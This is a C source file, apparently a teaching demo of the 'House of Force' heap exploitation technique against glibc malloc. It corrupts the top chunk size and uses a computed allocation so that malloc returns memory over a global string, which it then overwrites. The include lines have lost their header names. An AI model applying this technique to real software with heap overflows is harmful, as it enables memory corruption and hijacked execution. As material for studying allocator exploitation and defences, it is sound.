#include #include #include #include #include #include char bss_var[] = "This is a string that we want to overwrite."; int main() { fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var); intptr_t *p1 = malloc(0x10); int real_size = malloc_usable_size(p1); memset(p1, 'A', real_size); fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1); fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size); intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n"); fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); ptr_top[0] = -1; fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top)); unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); int real_size_new = malloc_usable_size(new_ptr); memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20); fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); void* ctr_chunk = malloc(0x30); fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk); fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n"); fprintf(stderr, "old string: %s\n", bss_var); strcpy(ctr_chunk, "YEAH!!!"); fprintf(stderr, "new string: %s\n", bss_var); }